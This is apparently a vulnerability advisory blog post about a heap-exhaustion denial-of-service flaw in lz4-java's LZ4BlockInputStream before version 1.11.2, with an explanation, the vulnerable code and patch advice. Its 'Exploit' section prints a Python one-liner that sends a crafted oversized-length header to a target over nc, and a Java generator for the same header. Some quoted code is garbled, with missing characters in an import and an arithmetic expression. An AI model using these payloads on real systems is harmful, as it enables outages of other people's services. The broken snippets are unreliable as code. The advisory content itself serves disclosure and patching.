Listen to this Post
The vulnerability resides within the `net.jpountz.lz4.LZ4BlockInputStream` class in lz4-java. Specifically, during the parsing of legacy LZ4Block stream headers, the internal `refill()` method reads a header field specifying the compressed length (compressedLen) of the upcoming block. While `refill()` performs a basic check to verify that `compressedLen` is nonnegative, it fails to cap or validate this value against any reasonable maximum limit or against the uncompressed original length prior to memory allocation.
When a large `compressedLen` (for instance, approaching 2 GiB) is provided in the header, `LZ4BlockInputStream` immediately attempts to resize its internal byte array via new byte[Math.max(compressedLen, ...)]. Because canonical `LZ4BlockOutputStream` writers never emit compressed blocks larger than the raw uncompressed payload, oversized compressed lengths represent noncanonical inputs. An attacker can construct a crafted, header-only stream containing a bogus `compressedLen` value. As soon as the Java application attempts to parse this stream header, `LZ4BlockInputStream` allocates a massive byte array on the heap before verifying or reading any actual compressed payload bytes. Sending a minimal payload or multiple concurrent header-only requests rapidly drains the available JVM heap, ultimately triggering an `OutOfMemoryError` and causing a complete Denial of Service (DoS) for the host application.
DailyCVE Form:
Platform: lz4-java
Version: Before 1.11.2
Vulnerability: Heap Exhaustion DoS
Severity: Medium (5.3)
date: October 2026
Prediction: Already patched 1.11.2
What Undercode Say:
Analytics
The flaw stems from an unsafe buffer resizing pattern during stream header processing.
Vulnerable code pattern in `net.jpountz.lz4.LZ4BlockInputStream`:
case COMPRESSION_METHOD_LZ4:
if (compressedBuffer.length < compressedLen) {
compressedBuffer = new byte[Math.max(compressedLen, compressedBuffer.length 3 / 2)];
}
readFully(compressedBuffer, compressedLen);
Canonical output logic in `net.jpountz.lz4.LZ4BlockOutputStream`:
if (compressedLength >= o) {
compressMethod = COMPRESSION_METHOD_RAW;
compressedLength = o;
} else {
compressMethod = COMPRESSION_METHOD_LZ4;
}
The underlying issue is that the reader trusts the header metadata and allocates heap memory before invoking readFully(), making payload transmission unnecessary for exploitation.
Exploit: (Educational Purposes!)
Generate malicious stream header with oversized compressedLen and pipe to vulnerable app
python3 -c 'import struct, sys; sys.stdout.buffer.write(b"LZ4Block" + struct.pack(">I", 0x7FFFFFFF))' | nc target-server 9000
// Malicious LZ4 stream generation in Java
import java.io.;
public class LZ4ExploitGenerator {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
// Write magic header bytes
dos.writeBytes("LZ4Block");
// Inject extreme compressed length (~2GiB) to force large allocation
dos.writeInt(0x7FFFFFF0);
dos.writeInt(100); // Uncompressed length
dos.writeInt(0); // Checksum
byte[] malPayload = baos.toByteArray();
System.out.println("Generated malicious stream header of size: " + malPayload.length + " bytes");
}
}
Protection:
- Upgrade `lz4-java` dependency to version `1.11.2` or later.
- Avoid using the legacy `acceptOversizedBlocks` flag when initializing stream readers in version
1.11.2+. - Set appropriate JVM heap size boundaries (
-Xmx) and deploy resource isolation (e.g., container memory limits).
Impact:
Successful exploitation allows remote, unauthenticated attackers to exhaust the target JVM heap, leading to `java.lang.OutOfMemoryError` and application denial of service using a single header-only payload. Confidentiality and integrity are not impacted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
